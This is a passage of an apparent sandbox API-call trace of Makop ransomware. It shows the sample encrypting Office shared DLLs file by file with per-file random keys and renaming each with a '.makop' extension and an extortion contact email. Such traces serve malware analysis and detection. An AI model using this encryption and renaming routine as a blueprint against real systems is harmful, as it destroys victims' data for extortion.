param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0087.606] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.608] CloseHandle (hObject=0xf0) returned 1 [0087.608] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0087.608] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0087.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.609] GetProcessHeap () returned 0x48a0000 [0087.609] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.609] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.609] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.609] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.614] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.614] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.614] GetProcessHeap () returned 0x48a0000 [0087.614] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0087.614] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0087.614] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.614] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0087.614] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.614] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.614] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.615] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.615] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.615] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.615] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.615] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.615] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3db8, lpOverlapped=0x0) returned 1 [0087.617] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3dc0, dwBufLen=0x3dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3dc0) returned 1 [0087.617] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.617] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3dc0, lpOverlapped=0x0) returned 1 [0087.617] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.617] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.618] SetEndOfFile (hFile=0xf0) returned 1 [0087.625] GetProcessHeap () returned 0x48a0000 [0087.625] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0087.625] GetProcessHeap () returned 0x48a0000 [0087.625] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.625] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0087.625] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.626] CloseHandle (hObject=0xf0) returned 1 [0087.626] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0087.627] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0087.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.629] GetProcessHeap () returned 0x48a0000 [0087.629] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.629] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.629] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.629] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.629] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.629] GetProcessHeap () returned 0x48a0000 [0087.629] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0087.629] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0087.629] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.630] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0087.634] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.634] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.634] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.634] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.634] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.634] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.635] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.635] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.635] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x833a0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x833a0, lpOverlapped=0x0) returned 1 [0087.650] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x833a0, dwBufLen=0x833a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x833a0) returned 1 [0087.655] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.655] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x833a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x833a0, lpOverlapped=0x0) returned 1 [0087.659] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.659] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x83474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.659] SetEndOfFile (hFile=0xf0) returned 1 [0087.665] GetProcessHeap () returned 0x48a0000 [0087.665] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0087.665] GetProcessHeap () returned 0x48a0000 [0087.665] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.665] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0087.665] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.678] CloseHandle (hObject=0xf0) returned 1 [0087.678] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0087.678] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0087.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.679] GetProcessHeap () returned 0x48a0000 [0087.679] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.679] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.679] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.679] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.683] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.683] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.683] GetProcessHeap () returned 0x48a0000 [0087.684] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0087.684] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0087.684] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.684] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0087.684] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.684] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.684] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.685] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.685] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.685] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.685] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.685] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.685] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6e398, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6e398, lpOverlapped=0x0) returned 1 [0087.696] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6e3a0, dwBufLen=0x6e3a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6e3a0) returned 1 [0087.700] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.701] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6e3a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6e3a0, lpOverlapped=0x0) returned 1 [0087.704] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.704] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6e464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.704] SetEndOfFile (hFile=0xf0) returned 1 [0087.713] GetProcessHeap () returned 0x48a0000 [0087.713] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0087.713] GetProcessHeap () returned 0x48a0000 [0087.713] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.713] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0087.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.714] CloseHandle (hObject=0xf0) returned 1 [0087.714] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0087.715] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0087.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.717] GetProcessHeap () returned 0x48a0000 [0087.717] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.717] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.717] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.717] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.717] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.717] GetProcessHeap () returned 0x48a0000 [0087.717] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0087.717] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0087.717] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.717] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0087.721] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.721] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.722] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.722] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.722] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.722] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.722] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.722] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.722] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd9c0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd9c0, lpOverlapped=0x0) returned 1 [0087.724] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd9c0, dwBufLen=0xd9c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd9c0) returned 1 [0087.725] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.725] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd9c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd9c0, lpOverlapped=0x0) returned 1 [0087.726] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.726] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xda94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.726] SetEndOfFile (hFile=0xf0) returned 1 [0087.734] GetProcessHeap () returned 0x48a0000 [0087.734] HeapFree (in: hHeap=0x48a0000, 